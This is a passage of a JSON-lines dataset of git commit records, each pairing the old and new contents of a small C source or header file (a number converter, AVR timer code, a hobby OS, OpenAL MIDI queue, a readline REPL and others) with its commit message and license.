91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm"}
{"commit":"ce37c4c11c5fb76788b2b6a04c51107941b6f518","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"\/\/\n\/\/  main.c\n\/\/  converter - Command-line number converter to Mac OS\n\/\/\n\/\/  Created by Paulo Ricardo Paz Vital on 23\/05\/15.\n\/\/  Copyright (c) 2015 pvital Solutions. All rights reserved.\n\/\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <limits.h>\n\nvoid usage(void) {\n    printf(\"usage: convert decimal_number \\n\");\n}\n\nint main(int argc, const char * argv[]) {\n    int decimal;\n    \n    if (argc < 2 || argc > 3) {\n        usage();\n        return -1;\n    }\n    \n    decimal = atoi(argv[1]);\n    \n    if (decimal < 0) {\n        printf(\"ERROR: decimal number must be greater than zero (0).\\n\");\n        return -1;\n    }\n    if (decimal > INT_MAX) {\n        printf(\"ERROR: maximum decimal number supported is %d.\\n\", INT_MAX);\n        return -1;\n    }\n    \n    return 0;\n}\n","new_contents":"\/\/\n\/\/  main.c\n\/\/  converter - Command-line number converter to Mac OS\n\/\/\n\/\/  Created by Paulo Ricardo Paz Vital on 23\/05\/15.\n\/\/  Copyright (c) 2015 pvital Solutions. All rights reserved.\n\/\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <limits.h>\n\nvoid usage(void) {\n    printf(\"usage: convert decimal_number \\n\");\n}\n\nvoid dec2bin(int decimal) {\n    int remainder[32];\n    int quocient = decimal, i = 0;\n    \n    while (quocient >= 2) {\n        remainder[i] = quocient % 2;\n        quocient = quocient \/ 2;\n        i++;\n    }\n    \n    \/\/ add the last quocient in the end of remainder list\n    remainder[i] = quocient;\n    \n    \/\/ print the remainder list in the revert order\n    printf (\"The decimal number %d in binary is: \", decimal);\n    while (i >= 0) {\n        printf(\"%d\", remainder[i]);\n        i--;\n    }\n    printf(\"\\n\");\n}\n\nint main(int argc, const char * argv[]) {\n    int decimal;\n    \n    if (argc < 2 || argc > 3) {\n        usage();\n        return -1;\n    }\n    \n    decimal = atoi(argv[1]);\n    \n    if (decimal < 0) {\n        printf(\"ERROR: decimal number must be greater than zero (0).\\n\");\n        return -1;\n    }\n    if (decimal > INT_MAX) {\n        printf(\"ERROR: maximum decimal number supported is %d.\\n\", INT_MAX);\n        return -1;\n    }\n\n    dec2bin(decimal);\n    return 0;\n}\n","subject":"Add decimal to binary conversion.","message":"Add decimal to binary conversion.\n\nAdd function to convert decimal to binary.\n\nSigned-off-by: Paulo Vital <56235ab4620bb40c4cfee535b2e93f80c23e9ac8@gmail.com>\n","lang":"C","license":"mit","repos":"pvital\/converter"}
{"commit":"0d0f6c5793f01a6ef27140ec881d2f5605d5260e","old_file":"src\/main.h","new_file":"src\/main.h","old_contents":"#ifndef _MAIN_H_\n#define _MAIN_H_\n\n#define PROGRAM_MAJOR_VERSION 0\n#define PROGRAM_MINOR_VERSION 0\n#define PROGRAM_PATCH_VERSION 6\n\n#endif \/* _MAIN_H_ *\/\n\n","new_contents":"#ifndef _MAIN_H_\n#define _MAIN_H_\n\n#define PROGRAM_MAJOR_VERSION 0\n#define PROGRAM_MINOR_VERSION 1\n#define PROGRAM_PATCH_VERSION 0\n\n#endif \/* _MAIN_H_ *\/\n\n","subject":"Increase game version to 0.1.0.","message":"Increase game version to 0.1.0.\n","lang":"C","license":"mit","repos":"zear\/HomingFever"}
{"commit":"b076232c0cf6240f09f28b89bacfafd09cee61f9","old_file":"src\/user.c","new_file":"src\/user.c","old_contents":"task usercontrol(){\n\tint DY, DT;\n\tbool armsLocked = false;\n\n\twhile(true){\n\t\t\/\/Driving\n\t\tDY = threshold(PAIRED_CH2, 15) + (PAIRED_BTN8U * MAX_POWER) - (PAIRED_BTN8D * MAX_POWER);\n\t\tDT = threshold(PAIRED_CH1, 15) + (PAIRED_BTN8R * MAX_POWER) - (PAIRED_BTN8L * MAX_POWER);\n\t\tdrive(DY, DT);\n\n\t\t\/\/Pistons (toggle)\n\t\tif(PAIRED_BTN7R){\n\t\t\tpistons(!PISTON_POS);\n\t\t\twaitUntil(!PAIRED_BTN7R);\n\t\t}\n\n\t\t\/\/Arms\n\t\tif(PAIRED_BTN7L){\n\t\t\tarmsLocked = !armsLocked;\n\t\t\twaitUntil(!PAIRED_BTN7L);\n\t\t}\n\t\tif(armsLocked){\n\t\t\tarms(ARM_LOCK);\n\t\t} else {\n\t\t\tarms(threshold(PAIRED_CH3, 15) + ((PAIRED_BTN5U - PAIRED_BTN5D) * MAX_POWER));\n\t\t}\n\n\t\t\/\/Lift\n\t\tlift((PAIRED_BTN7U - PAIRED_BTN7D) * MAX_POWER);\n\n\t\t\/\/Intake\n\t\tintake((PAIRED_BTN6U - PAIRED_BTN6D) * MAX_POWER);\n\t}\n}\n","new_contents":"task usercontrol(){\n\tint DY, DT;\n\tbool armsLocked = false;\n\n\twhile(true){\n\t\t\/\/Driving\n\t\tDY = threshold(PAIRED_CH2, 15) + (PAIRED_BTN8U * MAX_POWER) - (PAIRED_BTN8D * MAX_POWER);\n\t\tDT = threshold(PAIRED_CH1, 15) + (PAIRED_BTN8R * MAX_POWER) - (PAIRED_BTN8L * MAX_POWER);\n\t\tdrive(DY, DT);\n\n\t\t\/\/Pistons (toggle)\n\t\tif(PAIRED_BTN7R){\n\t\t\tpistons(!PISTON_POS);\n\t\t\twaitUntil(!PAIRED_BTN7R);\n\t\t}\n\n\t\t\/\/Arms\n\t\tif(PAIRED_BTN7L){\n\t\t\tarmsLocked = !armsLocked;\n\t\t\twaitUntil(!PAIRED_BTN7L);\n\t\t}\n\t\tif(armsLocked){\n\t\t\tarms(ARM_LOCK);\n\t\t} else {\n\t\t\tarms(threshold(PAIRED_CH3, 15) + ((PAIRED_BTN6U - PAIRED_BTN6D) * MAX_POWER));\n\t\t}\n\n\t\t\/\/Lift\n\t\tlift((PAIRED_BTN7U - PAIRED_BTN7D) * MAX_POWER);\n\n\t\t\/\/Intake\n\t\tintake((PAIRED_BTN5U - PAIRED_BTN5D) * MAX_POWER);\n\t}\n}\n","subject":"Swap back the arm and intake buttons","message":"Swap back the arm and intake buttons\n\nErik didn't like the change since he was very used to the old\nlayout. It made sense at the time to put the arm joystick and\nbuttons on the same side, but I guess not.\n","lang":"C","license":"mit","repos":"18moorei\/code-red-in-the-zone"}
{"commit":"c5108966b7554cacde02ea0b141e54639e1dcd1d","old_file":"src\/stdafx.h","new_file":"src\/stdafx.h","old_contents":"\n#pragma once\n\n\/\/ std headers\n#include <string>\n#include <vector>\n#include <set>\n#include <functional>\n\n\/\/ windows header\n#ifdef _WIN32\n#define NOMINMAX\n#include <windows.h>\n#endif \n\n\/\/ common ogre headers\n#include \"OgrePrerequisites.h\"\n#include \"OgreString.h\"\n#include \"OgreRoot.h\"\n#include \"OgreRenderWindow.h\"\n#include \"OgreCamera.h\"\n#include \"OgreItem.h\"\n\n#include \"OgreHlmsManager.h\"\n#include \"OgreHlmsTextureManager.h\"\n\n\/\/ common qt headers\n#include <QString>\n#include <QWidget>\n#include <QDebug>\n\n#include \"scopeguard.h\"\n","new_contents":"\n#pragma once\n\n\/\/ std headers\n#include <string>\n#include <vector>\n#include <functional>\n\n\/\/ windows header\n#ifdef _WIN32\n#define NOMINMAX\n#define WIN32_LEAN_AND_MEAN\n#include <windows.h>\n#endif \n\n\/\/ common ogre headers\n#include \"OgrePrerequisites.h\"\n#include \"OgreString.h\"\n#include \"OgreRoot.h\"\n#include \"OgreRenderWindow.h\"\n#include \"OgreCamera.h\"\n#include \"OgreItem.h\"\n\n#include \"OgreHlmsManager.h\"\n#include \"OgreHlmsTextureManager.h\"\n\n\/\/ common qt headers\n#include <QString>\n#include <QWidget>\n#include <QDebug>\n\n#include \"scopeguard.h\"\n","subject":"Define WIN32_LEAN_AND_MEAN to reduce the pre-compiled header size","message":"Define WIN32_LEAN_AND_MEAN to reduce the pre-compiled header size\n","lang":"C","license":"mit","repos":"chchwy\/ogre-v2-mesh-viewer,chchwy\/ogre-v2-mesh-viewer"}
{"commit":"3423a5f810efdc0125b4a25e74ecb5c6a4b31e5f","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"\/*\n * main.c\n *\n * Created: 4\/3\/2014 8:36:43 AM\n *  Author: razius\n *\/\n\n#include <avr\/io.h>\n#include <avr\/interrupt.h>\n\nint main(void){\n    \/\/ Clear Timer on Compare Match (CTC) Mode with OCRnA as top.\n    TCCR4B |= _BV(WGM42);\n\n    \/\/ Toggle OCnA on compare match\n    TCCR4A |= _BV(COM4A0);\n\n    \/\/ clk \/ (2 * prescaler * (1 + OCRnA))\n    OCR4AH = 0x7A;\n    OCR4AL = 0x12;\n\n    \/\/ Setup Timer 0 pre-scaler to clk\/256\n    TCCR4B |= _BV(CS42);\n\n    \/\/ Setup PH3 to output\n    DDRH |= _BV(DDH3);\n\n    \/\/ Enable MCU interrupt (set I-flag)\n    sei();\n\n    while (1) {\n    }\n\n    return 0;\n}\n","new_contents":"\/*\n * main.c\n *\n * Created: 4\/3\/2014 8:36:43 AM\n *  Author: razius\n *\/\n\n#include <avr\/io.h>\n#include <avr\/interrupt.h>\n\nuint8_t SECONDS = 0x00;\n\nint main(void){\n    \/\/ Clear Timer on Compare Match (CTC) Mode with OCRnA as top.\n    TCCR1A |= _BV(WGM12);\n\n    \/\/ clk \/ (2 * prescaler * (1 + OCRnA))\n    OCR1AH = 0x7A;\n    OCR1AL = 0x12;\n\n    \/\/ Setup Timer 0 pre-scaler to clk\/256\n    TCCR1B |= _BV(CS12);\n\n    \/\/ Enable Timer\/Counter4 overflow interrupt.\n    TIMSK1 = _BV(TOIE1);\n\n    \/\/ Setup PH3 to output\n    DDRH = 0xFF;\n\n    \/\/ Enable MCU interrupt (set I-flag)\n    sei();\n\n    while (1) {\n        PORTH = ~SECONDS;\n    }\n\n    return 0;\n}\n\nISR(TIMER1_OVF_vect){\n    \/\/ Setup PH3 to output\n    \/\/ DDRH |= _BV(DDH3);\n    \/\/ PORTH = PORTH << 1;\n    if (SECONDS < 60) {\n        SECONDS++;\n    }\n    else {\n        SECONDS = 0x00;\n    }\n}\n","subject":"Increment seconds and show them using LED's.","message":"Increment seconds and show them using LED's.\n","lang":"C","license":"mit","repos":"razius\/nixie-clock,razius\/nixie-clock"}
{"commit":"36a20e62b3a48ba52633f9009010fc3547263026","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"\/*\n * main.c - where it all begins\n *\/\n\n#include <std.h>\n#include <io.h>\n#include <vt100.h>\n#include <clock.h>\n\nvoid function( ) {\n    kprintf_string( \"Interrupt!\\n\" );\n    vt_flush();\n    __asm__ ( \"movs pc, lr\" );\n}\n\nint main(int argc, char* argv[]) {\n\n    UNUSED(argc);\n    UNUSED(argv);\n\n    uart_init();\n    vt_blank();\n    vt_hide();\n\n    debug_message(\"Welcome to ferOS v%u\", __BUILD__);\n    debug_message(\"Built %s %s\", __DATE__, __TIME__);\n\n    \/\/ tell the CPU where to handle software interrupts\n    \/\/    void** irq_handler = (void**)0x28;\n    \/\/    *irq_handler = (void*)function;\n\n    \/*\n      int i;\n      for( i = 8; i < 255; i += 4 ) {\n      irq_handler[i\/4] = (void*)function;\n      }\n    *\/\n\n    \/\/    __asm__ (\"swi 1\");\n    \/\/    kprintf_string( \"RETURNED\" );\n    \/\/    vt_flush();\n\n    bool done = false;\n    while (1) {\n    \tvt_read();\n    \tvt_write();\n\n\tif (!done) {\n\t    kprintf_cpsr();\n\t    done = true;\n\t}\n    }\n\n    vt_blank();\n    vt_flush();\n\n    return 0;\n}\n","new_contents":"\/*\n * main.c - where it all begins\n *\/\n\n#include <std.h>\n#include <io.h>\n#include <vt100.h>\n#include <clock.h>\n\nvoid function( ) {\n    kprintf_string( \"Interrupt!\\n\" );\n    vt_flush();\n    __asm__ ( \"movs pc, lr\" );\n}\n\nint main(int argc, char* argv[]) {\n\n    UNUSED(argc);\n    UNUSED(argv);\n\n    uart_init();\n    vt_blank();\n    vt_hide();\n\n    debug_message(\"Welcome to ferOS build %u\", __BUILD__);\n    debug_message(\"Built %s %s\", __DATE__, __TIME__);\n\n    \/\/ tell the CPU where to handle software interrupts\n    \/\/    void** irq_handler = (void**)0x28;\n    \/\/    *irq_handler = (void*)function;\n\n    \/*\n      int i;\n      for( i = 8; i < 255; i += 4 ) {\n      irq_handler[i\/4] = (void*)function;\n      }\n    *\/\n\n    \/\/    __asm__ (\"swi 1\");\n    \/\/    kprintf_string( \"RETURNED\" );\n    \/\/    vt_flush();\n\n    bool done = false;\n    while (1) {\n    \tvt_read();\n    \tvt_write();\n\n\tif (!done) {\n\t    kprintf_cpsr();\n\t    done = true;\n\t}\n    }\n\n    vt_blank();\n    vt_flush();\n\n    return 0;\n}\n","subject":"Use build number instead of version number in startup message","message":"Use build number instead of version number in startup message","lang":"C","license":"mit","repos":"ferrous26\/cs452-flaming-meme,ferrous26\/cs452-flaming-meme,ferrous26\/cs452-flaming-meme"}
{"commit":"b0699787c413baf93974a2b39f89117acfe55780","old_file":"src\/sys_io.h","new_file":"src\/sys_io.h","old_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#define STDOUT_FD     1\n#define STDERR_FD     2\n#define FIRST_USER_FD 3\n\n#define FILE_TYPE_CPIO    0\n#define FILE_TYPE_SOCKET  1 \n\n#define FD_TABLE_SIZE(x) (sizeof(muslcsys_fd_t) * (x))\n\/* this implementation does not allow users to close STDOUT or STDERR, so they can't be freed *\/\n#define FREE_FD_TABLE_SIZE(x) (sizeof(int) * ((x) - FIRST_USER_FD))\n\n#define PAGE_SIZE_4K 4096\ntypedef struct muslcsys_fd {\n    int filetype;\n    void *data;\n} muslcsys_fd_t;\n\nint allocate_fd(void);\n\nmuslcsys_fd_t *get_fd_struct(int fd);\n","new_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#ifndef __LIBSEL4MUSLCCAMKES_H__\n#define __LIBSEL4MUSLCCAMKES_H__\n\n#include <utils\/page.h>\n\n#define STDOUT_FD     1\n#define STDERR_FD     2\n#define FIRST_USER_FD 3\n\n#define FILE_TYPE_CPIO    0\n#define FILE_TYPE_SOCKET  1 \n\n#define FD_TABLE_SIZE(x) (sizeof(muslcsys_fd_t) * (x))\n\/* this implementation does not allow users to close STDOUT or STDERR, so they can't be freed *\/\n#define FREE_FD_TABLE_SIZE(x) (sizeof(int) * ((x) - FIRST_USER_FD))\n\ntypedef struct muslcsys_fd {\n    int filetype;\n    void *data;\n} muslcsys_fd_t;\n\nint allocate_fd(void);\n\nmuslcsys_fd_t *get_fd_struct(int fd);\n\n#endif\n","subject":"Add include guard and retrieve PAGE_SIZE_4K definition from libutils","message":"Add include guard and retrieve PAGE_SIZE_4K definition from libutils\n","lang":"C","license":"bsd-2-clause","repos":"smaccm\/camkes-tool,smaccm\/camkes-tool,smaccm\/camkes-tool,smaccm\/camkes-tool"}
{"commit":"6692b58d8121ebc82f4f8625b41d52261e37a1e9","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"\/*\n *\tCopyright 2019 Andrey Terekhov, Victor Y. Fadeev\n *\n *\tLicensed under the Apache License, Version 2.0 (the \"License\");\n *\tyou may not use this file except in compliance with the License.\n *\tYou may obtain a copy of the License at\n *\n *\t\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *\tUnless required by applicable law or agreed to in writing, software\n *\tdistributed under the License is distributed on an \"AS IS\" BASIS,\n *\tWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *\tSee the License for the specific language governing permissions and\n *\tlimitations under the License.\n *\/\n\n#ifdef _MSC_VER\n\t#pragma comment(linker, \"\/STACK:268435456\")\n#endif\n\n#include \"compiler.h\"\n#include \"workspace.h\"\n\n\nconst char *name = \"..\/tests\/executable\/structures\/SELECT_9459.c\";\n\/\/ \"..\/tests\/mips\/0test.c\";\n\n\nint main(int argc, const char *argv[])\n{\n\tworkspace ws = ws_parse_args(argc, argv);\n\n\tif (argc < 2)\n\t{\n\t\tws_add_file(&ws, name);\n\t\tws_set_output(&ws, \"export.txt\");\n\t}\n\n#ifdef TESTING_EXIT_CODE\n\treturn compile(&ws) ? TESTING_EXIT_CODE : 0;\n#else\n\treturn compile(&ws);\n#endif\n}\n","new_contents":"\/*\n *\tCopyright 2019 Andrey Terekhov, Victor Y. Fadeev\n *\n *\tLicensed under the Apache License, Version 2.0 (the \"License\");\n *\tyou may not use this file except in compliance with the License.\n *\tYou may obtain a copy of the License at\n *\n *\t\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *\tUnless required by applicable law or agreed to in writing, software\n *\tdistributed under the License is distributed on an \"AS IS\" BASIS,\n *\tWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *\tSee the License for the specific language governing permissions and\n *\tlimitations under the License.\n *\/\n\n#ifdef _MSC_VER\n\t#pragma comment(linker, \"\/STACK:268435456\")\n#endif\n\n#include \"compiler.h\"\n#include \"workspace.h\"\n\n\nconst char *name = \"..\/tests\/executable\/structures\/SELECT_9459.c\";\n\/\/ \"..\/tests\/mips\/0test.c\";\n\n\nint main(int argc, const char *argv[])\n{\n\tworkspace ws = ws_parse_args(argc, argv);\n\n\tif (argc < 2)\n\t{\n\t\tws_add_file(&ws, name);\n\t\tws_add_flag(&ws, \"-Wno\");\n\t\tws_set_output(&ws, \"export.txt\");\n\t}\n\n#ifdef TESTING_EXIT_CODE\n\treturn compile(&ws) ? TESTING_EXIT_CODE : 0;\n#else\n\treturn compile(&ws);\n#endif\n}\n","subject":"Add default flag for Xcode usage","message":"Add default flag for Xcode usage\n","lang":"C","license":"apache-2.0","repos":"andrey-terekhov\/RuC,andrey-terekhov\/RuC,andrey-terekhov\/RuC"}
{"commit":"2f6e06781241e3db0d1b7d21402915fe4e02c159","old_file":"src\/exttextcat-version.h","new_file":"src\/exttextcat-version.h","old_contents":"","new_contents":"#ifndef EXTTEXTCAT_VERSION_H\n#define EXTTEXTCAT_VERSION_H\n\n#define EXTTEXTCAT_VERSION \"3.1.0\"\n#define EXTTEXTCAT_VERSION_MAJOR 3\n#define EXTTEXTCAT_VERSION_MINOR 1\n#define EXTTEXTCAT_VERSION_MICRO 0\n\n#endif\n","subject":"Revert \"Don't put under source control generated file\"","message":"Revert \"Don't put under source control generated file\"\n\nThis reverts commit 482955edc082c5aac04176194150c0fa5ff1d247.\n","lang":"C","license":"bsd-3-clause","repos":"freedesktop-unofficial-mirror\/libreoffice__libexttextcat,freedesktop-unofficial-mirror\/libreoffice__libexttextcat,giuliopaci\/libexttextcat,giuliopaci\/libexttextcat,tripleee\/libexttextcat,tripleee\/libexttextcat,freedesktop-unofficial-mirror\/libreoffice__libexttextcat,giuliopaci\/libexttextcat,tripleee\/libexttextcat"}
{"commit":"b99a32d6435babff2f8dec6498252f088ea176cc","old_file":"src\/uwatec.h","new_file":"src\/uwatec.h","old_contents":"#ifndef UWATEC_H\n#define UWATEC_H\n\n#include \"device.h\"\n\n#define UWATEC_SUCCESS         0\n#define UWATEC_ERROR          -1\n#define UWATEC_ERROR_IO       -2\n#define UWATEC_ERROR_MEMORY   -3\n#define UWATEC_ERROR_PROTOCOL -4\n#define UWATEC_ERROR_TIMEOUT  -5\n\n#include \"uwatec_aladin.h\"\n#include \"uwatec_memomouse.h\"\n#include \"uwatec_smart.h\"\n\n#endif \/* UWATEC_H *\/\n","new_contents":"#ifndef UWATEC_H\n#define UWATEC_H\n\n#include \"uwatec_aladin.h\"\n#include \"uwatec_memomouse.h\"\n#include \"uwatec_smart.h\"\n\n#endif \/* UWATEC_H *\/\n","subject":"Remove all remaining pieces of the legacy api from the Uwatec code.","message":"Remove all remaining pieces of the legacy api from the Uwatec code.\n","lang":"C","license":"lgpl-2.1","repos":"Poltsi\/libdivecomputer-vms,josh-wambua\/libdivecomputer,andysan\/libdivecomputer,andysan\/libdivecomputer,henrik242\/libdivecomputer,glance-\/libdivecomputer,venkateshshukla\/libdivecomputer,glance-\/libdivecomputer,henrik242\/libdivecomputer,josh-wambua\/libdivecomputer,venkateshshukla\/libdivecomputer"}
{"commit":"37fa82f138043b8503c2a05b5959145da46b5062","old_file":"Alc\/evtqueue.h","new_file":"Alc\/evtqueue.h","old_contents":"#ifndef AL_EVTQUEUE_H\n#define AL_EVTQUEUE_H\n\n#include \"AL\/al.h\"\n\ntypedef struct MidiEvent {\n    ALuint time;\n    ALuint event;\n    ALuint param[2];\n} MidiEvent;\n\ntypedef struct EvtQueue {\n    MidiEvent *events;\n    ALsizei pos;\n    ALsizei size;\n    ALsizei maxsize;\n} EvtQueue;\n\nvoid InitEvtQueue(EvtQueue *queue);\nvoid ResetEvtQueue(EvtQueue *queue);\nALenum InsertEvtQueue(EvtQueue *queue, const MidiEvent *evt);\n\n#endif \/* AL_EXTQUEUE_H *\/\n","new_contents":"#ifndef AL_EVTQUEUE_H\n#define AL_EVTQUEUE_H\n\n#include \"AL\/al.h\"\n\n#include \"alMain.h\"\n\ntypedef struct MidiEvent {\n    ALuint64 time;\n    ALuint event;\n    ALuint param[2];\n} MidiEvent;\n\ntypedef struct EvtQueue {\n    MidiEvent *events;\n    ALsizei pos;\n    ALsizei size;\n    ALsizei maxsize;\n} EvtQueue;\n\nvoid InitEvtQueue(EvtQueue *queue);\nvoid ResetEvtQueue(EvtQueue *queue);\nALenum InsertEvtQueue(EvtQueue *queue, const MidiEvent *evt);\n\n#endif \/* AL_EVTQUEUE_H *\/\n","subject":"Use a 64-bit uint for MIDI event times","message":"Use a 64-bit uint for MIDI event times\n","lang":"C","license":"lgpl-2.1","repos":"alexxvk\/openal-soft,mmozeiko\/OpenAL-Soft,irungentoo\/openal-soft-tox,franklixuefei\/openal-soft,Wemersive\/openal-soft,BeamNG\/openal-soft,franklixuefei\/openal-soft,aaronmjacobs\/openal-soft,aaronmjacobs\/openal-soft,arkana-fts\/openal-soft,BeamNG\/openal-soft,arkana-fts\/openal-soft,Wemersive\/openal-soft,alexxvk\/openal-soft,mmozeiko\/OpenAL-Soft,irungentoo\/openal-soft-tox"}
{"commit":"176939282e3097fd8b597ca6dcfdbc733a2ce1b0","old_file":"vm\/scope.h","new_file":"vm\/scope.h","old_contents":"#ifndef SCOPE_DEF\n#define SCOPE_DEF\n\n#include \"hashmap.h\"\n\n#include <stdint.h>\n\ntypedef struct Scope\n{\n\tV file;\n\tV func;\n\tV parent;\n\tint index;\n\tbool is_func_scope;\n\tbool is_error_handler;\n\tuint32_t linenr;\n\tuint32_t* pc;\n\tstruct HashMap hm;\n} Scope;\n\ntypedef struct\n{\n\tValue v;\n\tScope sc;\n} ValueScope;\n\n#define MAXCACHE 1024\nValueScope SCOPECACHE[MAXCACHE];\nint MAXSCOPE;\n\nV new_scope(V);\nV new_function_scope(V);\nV new_file_scope(V);\nV new_global_scope(void);\n\n#endif\n","new_contents":"#ifndef SCOPE_DEF\n#define SCOPE_DEF\n\n#include \"hashmap.h\"\n\n#include <stdint.h>\n\ntypedef struct Scope\n{\n\tV file;\n\tV func;\n\tV parent;\n\tint index;\n\tuint32_t is_func_scope : 4;\n\tuint32_t is_error_handler : 4;\n\tuint32_t linenr : 24;\n\tuint32_t* pc;\n\tstruct HashMap hm;\n} Scope;\n\ntypedef struct\n{\n\tValue v;\n\tScope sc;\n} ValueScope;\n\n#define MAXCACHE 1024\nValueScope SCOPECACHE[MAXCACHE];\nint MAXSCOPE;\n\nV new_scope(V);\nV new_function_scope(V);\nV new_file_scope(V);\nV new_global_scope(void);\n\n#endif\n","subject":"Make Scope 8 bytes smaller","message":"Make Scope 8 bytes smaller\n","lang":"C","license":"isc","repos":"gvx\/deja,gvx\/deja,gvx\/deja"}
{"commit":"85786354597a8c195bcabdf264d5b9046fa51a99","old_file":"zuzeelik.c","new_file":"zuzeelik.c","old_contents":"#include <stdio.h>\n\nstatic char input[2048]; \/\/declaring buffer for user input, size 2048\n\nint main(int argc, char** argv) {\n\tputs(\"zuzeelik Version 0.0.0-0.0.1\");\n\tputs(\"Press Ctrl+c to Exit \\n\");\n\t\n\t\/* Starting REPL *\/\n\t\n\twhile(1){\n\t\t\/* output from the prompt*\/\n\t\tfputs(\"zuzeelik> \", stdout);\n\t\t\n\t\t\/* read a line of the user of max size 2048 *\/\n\t\tfgets(input, 2048, stdin);\n\t\t\n\t\t\/* Echo the input back to the user *\/\n\t\tprintf(\"Got Input: %s\", input);\n\t}\n\n\treturn 0;\n}\n\t\t\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include <editline\/readline.h>\n#include <editline\/history.h>\n\nint main(int argc, char** argv) {\n\tputs(\"zuzeelik [version: v0.0.0-0.0.2]\");\n\tputs(\"Press Ctrl+C to Exit \\n\");\n\t\n\t\/* Starting REPL *\/\n\t\n\twhile(1){\n\t\t\/* output from the prompt*\/\n\t\tchar* input = readline(\"zuzeelik> \");\n\t\t\n\t\t\/*Add input to history *\/\n\t\tadd_history(input);\n\t\t\n\t\t\/* Echo the input back to the user *\/\n\t\tprintf(\"Got Input: %s \\n\", input);\n\n\t\tfree(input);\n\t}\n\n\treturn 0;\n}\n\t\t\n","subject":"Add support for line editing and arrow keys","message":"Add support for line editing and arrow keys\n\nAdded support for line editing in REPL and also added support for\narrow keys.\n","lang":"C","license":"bsd-3-clause","repos":"shadow-stranger\/zuzeelik,Mr-Kumar-Abhishek\/zuzeelik"}
{"commit":"c1870a489c914b4d32c561dc59991dd05768488f","old_file":"src\/tokenizer\/string_piece.h","new_file":"src\/tokenizer\/string_piece.h","old_contents":"\/\/ This file is part of MorphoDiTa.\n\/\/\n\/\/ Copyright 2013 by Institute of Formal and Applied Linguistics, Faculty of\n\/\/ Mathematics and Physics, Charles University in Prague, Czech Republic.\n\/\/\n\/\/ MorphoDiTa is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Lesser General Public License as\n\/\/ published by the Free Software Foundation, either version 3 of\n\/\/ the License, or (at your option) any later version.\n\/\/\n\/\/ MorphoDiTa is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public License\n\/\/ along with MorphoDiTa.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#pragma once\n\n#include <cstring>\n\n#include \"common.h\"\n\nnamespace ufal {\nnamespace morphodita {\n\nstruct string_piece {\n  const char* str;\n  size_t len;\n\n  string_piece() : str(nullptr), len(0) {}\n  string_piece(const char* str) : str(str), len(strlen(str)) {}\n  string_piece(const char* str, size_t len) : str(str), len(len) {}\n  string_piece(const std::string& str) : str(str.c_str()), len(str.size()) {}\n};\n\n} \/\/ namespace morphodita\n}\n","new_contents":"\/\/ This file is part of MorphoDiTa.\n\/\/\n\/\/ Copyright 2013 by Institute of Formal and Applied Linguistics, Faculty of\n\/\/ Mathematics and Physics, Charles University in Prague, Czech Republic.\n\/\/\n\/\/ MorphoDiTa is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Lesser General Public License as\n\/\/ published by the Free Software Foundation, either version 3 of\n\/\/ the License, or (at your option) any later version.\n\/\/\n\/\/ MorphoDiTa is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public License\n\/\/ along with MorphoDiTa.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#pragma once\n\n#include <cstring>\n\n#include \"common.h\"\n\nnamespace ufal {\nnamespace morphodita {\n\nstruct string_piece {\n  const char* str;\n  size_t len;\n\n  string_piece() : str(nullptr), len(0) {}\n  string_piece(const char* str) : str(str), len(strlen(str)) {}\n  string_piece(const char* str, size_t len) : str(str), len(len) {}\n  string_piece(const std::string& str) : str(str.c_str()), len(str.size()) {}\n};\n\n} \/\/ namespace morphodita\n} \/\/ namespace ufal\n","subject":"Add forgotten comment on namespace closing.","message":"Add forgotten comment on namespace 